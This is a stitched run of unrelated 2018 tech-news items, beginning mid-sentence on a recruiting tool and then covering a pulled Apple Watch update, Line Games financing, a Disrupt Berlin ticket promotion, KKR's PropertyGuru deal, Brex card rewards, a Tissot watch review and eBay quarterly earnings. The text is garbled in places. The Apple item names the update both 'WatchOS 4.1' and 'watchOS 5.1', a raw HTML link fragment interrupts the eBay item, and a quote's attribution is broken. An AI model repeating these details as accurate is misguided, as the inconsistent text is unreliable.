And it includes more search features for recruiters to search using more specific parameters in the effort to make more diverse hiring choices. “Candidates who might not have the right connections or privileged background can get in front of Fortune 500 companies,” the company notes.

PSA: If you’re an Apple Watch owner who is having trouble finding the shiny new WatchOS 4.1 update that Apple just shipped, it isn’t quite ready yet.

Apple initially shipped the update on Tuesday alongside iOS 12.1, but it quickly pulled it hours later following reports that it bricked some Series 4 watches. A number of customers affected took to Reddit and Twitter to warn of the issues, which were first reported by 9to5Mac and caused some watches to be stuck on the loading screen.

The update is no longer available, but Apple told those who did download it and now have bricked a watch that it is working on a fix that’ll ship as soon as possible.

“Due to a small number of Apple Watch customers experiencing an issue while installing watchOS 5.1 today, we’ve pulled back the software update as a precaution,” it said in a statement. “Any customers impacted should contact AppleCare, but no action is required if the update installed successfully. We are working on a fix for an upcoming software update.”

The Watch drama comes less than 24 hours after Apple unveiled a new and larger version of the iPad Pro and a revamped MacBook Air model at an event in New York. Other goodies revealed included a new Mac Mini, a magnetic Apple Pencil and an expansion to its ‘Today at Apple’ program. Next up is the company’s earnings on Thursday, although affected Watch owners will hope that the patched WatchOS update arrives sooner.

Messaging app firm Line has given up majority control of its Line Games business and raised outside financing as it seeks to expand its collection of games titles and look at global expansion options.

The Line Games business was formed earlier this year when Line merged its existing gaming division from NextFloor, the Korea-based game publisher that it acquired in 2017. Now the business has taken on capital from Anchor Equity Partners, which has provided 125 billion KRW ($110 million) in financing via its Lungo Entertainment entity, according to a disclosure from Line.

A Line spokesperson clarified that the deal will see Anchor acquire 144,743 shares to take a 27.55 percent stake in Line Games. It looks like those are from existing investors since Line Corp confirmed that its own shareholding will be reduced from 57.6 percent to a minority 41.73 percent stake.

Korea-based Anchor is best known for a number of deals in its homeland including investments in e-commerce giant Ticket Monster, Korean chat giant Kakao’s Podotree content business and fashion retail group E-Land.

Line operates its eponymous chat app which is the most popular messaging platform in Japan, Thailand and Taiwan, and also significantly used in Indonesia, but gaming is a major source of income. This year to date, Line has made 28.5 billion JPY ($250 million) from its content division, which is primarily virtual goods and in-app purchases from its social games. That division accounts for 19 percent of Line’s total revenue, and it is a figure that is only better by its advertising unit, which has grossed 79.3 billion JPY, or $700 million, in 2018 to date.

The games business is currently focused on Japan, Korea, Thailand and Taiwan, but it said that the new capital will go towards finding new IP for future titles and identifying games with global potential. It is also open to more strategic deals to broaden its focus.

While Line has always been big on games, Line Games isn’t just building for its own service. The company said earlier this year that it plans to focus on non-mobile platforms, which will include the Nintendo Switch among others consoles.

That comes from the addition of NextFloor, which is best known for titles like Dragon Flight and Destiny Child. Dragon Flight has racked up 14 million users since its 2012 launch, at its peak it saw $1 million in daily revenue. Destiny Child, a newer release in 2016, topped the charts in Korea and has been popular in Japan, North America and beyond.

Line went public in 2016 via a dual U.S.-Japan IPO that raised over $1 billion.

The early-bird clock is winding down, and you have just three days left to save up to €500 on passes to Disrupt Berlin 2018. You’d be cuckoo to miss this deal (pun intended). The early-bird price flies away on 2 November, and your savings fly with it. Don’t miss out on the best possible price. Buy your ticket today.

Disrupt Berlin 2018, which takes place on 29-30 November, provides incredible opportunities, and one of them is the chance to hear some of the most brilliant minds in the startup, technology and investment worlds speaking on our Main Stage. We keep expanding our roster of outstanding speakers and presentations, and you can keep tabs on updates on the full Disrupt Berlin agenda. Here’s a quick sample of what we have in store for you:

• When is e-commerce not exactly e-commerce? When it’s Threads, a unique luxury fashion shopping experience driven by chat apps and actual human shopping assistants. We’re thrilled that founder Sophie Hill, who recently closed a $20 million round of funding, will join us in Berlin to talk about her innovative vision of luxury shopping.
• Babbel is a European success story and the top-grossing language learning app in the world. Sit in with Julie Hansen and Markus Witte to hear how the company plans to take on its next challenge, the United States.
• The auto industry’s in overdrive, and everyone’s working on the car of the future — that perfect combination of automation, connectivity, electric motors and mobility services. Join Laurin Hahn (Sono Motors) and Ole Harms (MOIA) to hear their perspective on who has the edge — startups or car giants in the process of reinventing themselves?

These great Main Stage talks often lead to even more questions, and that’s why we created Q&A Sessions. These smaller, more intimate, 45-minute moderated discussions give attendees the opportunity to ask follow-up questions and go deeper on crucial technologies and emerging trends.

Of course, Disrupt offers more than the chance to listen and learn. Network with more than 400 early-stage startups in Startup Alley, and don’t forget to use CrunchMatch — our free business match-making service. It makes connecting with the right people fast and efficient.

Take in the adrenaline ride that is Startup Battlefield. Watch as exceptional startups launch their companies to the world and compete for $50,000 cash, the coveted Disrupt cup and investor love.

Disrupt Berlin 2018 takes place on 29-30 November, and we hope you’ll join us at the best possible price. You have until 2 November to save up to €500 and be an early bird, not a cuckoo bird. Go buy your ticket and come to Berlin!

Global investment giant KKR is warming up to Southeast Asia after it made a third high-profile investment. The firm — which has nearly $150 billion in assets under management — has cut a SG$200 million (US$144 million) check for PropertyGuru, the region’s largest property listings group.

Founded in 2006, PropertyGuru operates rental and sale listing sites in Singapore, Malaysia, Indonesia and Thailand. Prior to today’s deal (its Series D), its most recent investment came in 2015, when it raised SG$175 million from backers including TPG and Australia’s Square Peg. This new financing takes it to SG$440 million (or around $320 million) thus far. You’d imagine that the deal values PropertyGuru at/above $1 billion — the much-vaunted unicorn milestone — but the company has declined to reveal its valuation at this point.

It isn’t talking about its valuation, but PropertyGuru CEO Hari V. Krishnan did say in a statement, however, that the company is profitable, cash flow positive and seeing revenue grow at 25 percent per year. The firm claims to have a dominant 55 percent market share in the countries it operates in and it is actively working to expand that reach in Southeast Asia, a region of over 600 million consumers which has more internet users than the population of the U.S.

Indeed, in tandem with the funding news, PropertyGuru said it has completed the buyout of Vietnam-based property portal Batdongsan.com.vn, which it claims is the country’s largest property portal with over four million unique visitors per month. The site will join PropertyGuru’s collection of business through the deal, which is undisclosed and follows a strategic investment back in 2016.

Singapore is one of five markets in Southeast Asia where PropertyGuru operates

For KKR, this investment in the latest in a series of early bets that the firm has made on digital startups in Southeast Asia. The firm has put money into Indonesian ride-sharing giant Go-Jek, which is backed by the likes of Tencent and Google and now said to be worth $9 billion, and Philippines-based fintech venture Voyager, which is also backed by Tencent following a recent $175 million deal. It also invested in Thailand-based e-commerce enabler aCommerce via its Emerald Media fund last year.

In a statement, KKR’s head of Southeast Asia, Ashish Shastry, paid tribute to PropertyGuru which he said has “clearly established itself as the Southeast Asian champion in the online property space.”

PropertyGuru is not alone in digitizing real estate, and its rivals in Southeast Asia include iProperty, a business that’s listed on the ASX in Australia and Singapore-based startup 99.co — which counts Facebook co-founder Eduardo Saverin among its backers and had a litigation battle with PropertyGuru. There, of course, plenty of single-market businesses that operate across various Southeast Asian countries.

Brex, the corporate card built for startups, unveiled its new rewards program today.

The billion-dollar company, which announced its $125 million Series C three weeks ago, has partnered with Amazon Web Services, WeWork, Instacart, Google Ads, SendGrid, Salesforce Essentials, Twilio, Zendesk, Caviar, HubSpot, Orrick, Snap, Clerky and DoorDash to give entrepreneurs the ability to accrue and spend points on services and products they use regularly.

Brex is lead by a pair of 22-year-old serial entrepreneurs who are well aware of the costs associated with building a startup. They’ve been carefully crafting Brex’s list of partners over the last year and say their cardholders will earn roughly 20 percent more rewards on Brex than from any competitor program.

“We didn’t want it to be something that everyone else was doing so we thought, what’s different about startups compared to traditional small businesses?” Brex co-founder and chief executive officer Henrique Dubugras told TechCrunch. “The biggest difference is where they spend money. Most credit card reward systems are designed for personal spend but startups spend a lot more on business.”

Companies that use Brex exclusively will receive 7x points on rideshare, 3x on restaurants, 3x on travel, 2x on recurring software and 1x on all other expenses with no cap on points earned. Brex carriers still using other corporate cards will receive just 1x points on all expenses.

Most corporate cards offer similar benefits for travel and restaurant expenses, but Brex is in a league of its own with the rideshare benefits its offering and especially with the recurring software (SalesForce, HubSpot, etc.) benefits.

San Francisco-based Brex has raised about $200 million to date from investors including Greenoaks Capital, DST Global and IVP.  At the time of its fundraise, the company told TechCrunch it planned to use its latest capital infusion to build out its rewards program, hire engineers and figure out how to grow the business’s client base beyond only tech startups.

“This is going to allow us to compete even more with Amex, Chase and the big banks,” Dubugras said.

In the pantheon of watches there are a few that stand out. Looking for your first automatic watch? Pick up a Seiko Orange Monster. Looking for a piece with a little history? The Omega Speedmaster is your man. Looking for an entry-level Swiss diver that won’t break the bank? Tissot’s Seastar has always had you covered.

The latest version of the Seastar is an interesting catch. A few years ago – circa 2010 – the pieces were all black with bold hands and a more staid case style. Now Tissot, a Swatch Group brand, has turned the Seastar into a chunkier diver with massive bar hands and case that looks like a steel sandwich.

The $695 Seastar 1000 contains a Powermatic 80/ETA C07.111 movement with an eighty hour power reserve which means the watch contains a massive mainspring that keeps things going for most of three days without winding. The Seastar is also water resistant to 1000 feet thanks to a huge screw down crown and thick casing. The new model has an exhibition back where you can see the rotor spinning over and balance wheel. The watch also has a ceramic bezel, a fairly top-of-the-line feature in an entry level watch.

Tissot has a long and interesting history. Best known for their high-tech T-Touch watches which had touchable crystals, allowing you to activate a compass, barometer, or altimeter with a single tap, the mechanical pieces have always seemed like an afterthought. The company also produces the classic Tissot Le Locle as well as a chronograph that I absolutely loved, the T-Navigator, but that has been discontinued. The Seastar, then, is one of the few mechanical pieces they sell and at sub-$1,000 prices you’re basically getting a Swiss watch with solid power reserve and great looks.

Watch folks I’ve talked to over the past few months see a distinct upturn in the Swiss watch market. Their belief that the Apple Watch is driving sales of mechanical watches seems to be coming true, even if it means cheaper fashion watches are being decimated. Tissot sits in that sweet spot between luxury and fashion, a spot that also contains Tag Heuer and Longines. Ultimately this is an entry level watch for the beginning collector but it’s a beautiful and beefy piece and worth a look.

Despite increasing competition from traditional retailers like Walmart and Target, which have invested heavily in e-commerce, and the whupping it’s routinely taking from Amazon among pure e-commerce companies, eBay the 20-year-old lumbering Pez dispenser of an e-tailer, keeps plugging along.

Now, as it manages to eke out another earnings win by matching analysts’ expectations, the company is telling the bankers that watch it to look to advertising and payments for its future growth.

The company met analysts’ estimates of revenue totaling $2.65 billion, up from $2.41 billion in the year-ago period. That amounts to adjusted earnings of 56 cents per share, up from 48 cents per share in the year-ago period and beating analyst estimates of 54 cents per share. Profits for the company hit $720 million for the quarter.

The news sent shares up over 4 percent in trading after the market closed on Tuesday.

But more interesting than the the tepid results was its outlook for the future. Right now, eBay is at a crossroads as it tries to get a new group of users to forget about its past as a marketplace for used goods and resellers — and as a more pure e-commerce company.

“This quarter we continued to make foundational investments to improve the long-term competitiveness of our marketplace while setting the stage for significant growth opportunities,” said CEO Devin Wenig in a statement. “We will continue to innovate the customer experience while executing our growth initiatives in Payments and Advertising to position eBay for future success.”

The fact is, eBay is growing. It saw the number of active buyers across the platform increase by 4 percent, and has 177 million global active buyers. While that number is dwarfed by Amazon’s over 300 million global buyers (as of 2017), it’s one of the largest retailers in the U.S. The company’s StubHub business saw revenues of $291 million, up 7 percent from the year-ago period and sales of $1.2 billion. Its classified payments also grew.

As eBay looks ahead, payments and advertising are going to receive a bulk of the company’s internal investment dollars as it tries to complete the rollout of a new payment experience in the wake of its divorce from PayPal and its embrace of Adyen, Apple Pay, and the technology-based financial services company, Square.

The company has already processed $38 million in payments and through the partnership with Apple Pay has grown that payment method to 12 percent on the platform. Advertising on eBay has seen 400,000 sellers promote over 160 million listings.

“We continue to grow the inventory on the marketplace,” Schenkel. “Just recently we rolled out a direct from brand and direct from authorized resellers… Brands want choice and they want to sell on a marketplace with 177 million users that doesn’t compete with them.”

The company will also continue to have an aggressive investment and mergers and acquisitions strategy, the executives said. Especially since the company found its earnings buoyed by the $1 billion it brought in from the sale of its stake in Flipkart, href="https://techcrunch.com/2018/05/09/walmart-confirms-16b-flipkart-investment-giving-it-77-in-indias-e-commerce-leader/"> when it was bought by Walmart for $16 billion.

What’s somewhat interesting is that there are new companies in the retail space that are making a mint doing things that eBay once dominated. Vinted and DePop are both used-clothing e-tailers that have enviable cache and significant revenues, while LetGo and OfferUp are also raiding used goods to turn trash into treasure.

A quick trip to eBay’s homepage shows that the company has all but consigned its collectible past to the trash heap. Given the death and dissolution of so many of its peers from the first generation of internet giants, it’s worth keeping an eye on eBay if only to see how the 20-something company approaches middle age as an independent entity.

“We have a unique situation. [The] eBay brand is very well recognized and not as well understood. We’re seeing this; that new buyers are responding really well to the changes that we made in the last few years and we need more of them and part of that is messaging our brand,” said Wenig on the earnings call with investment analysts.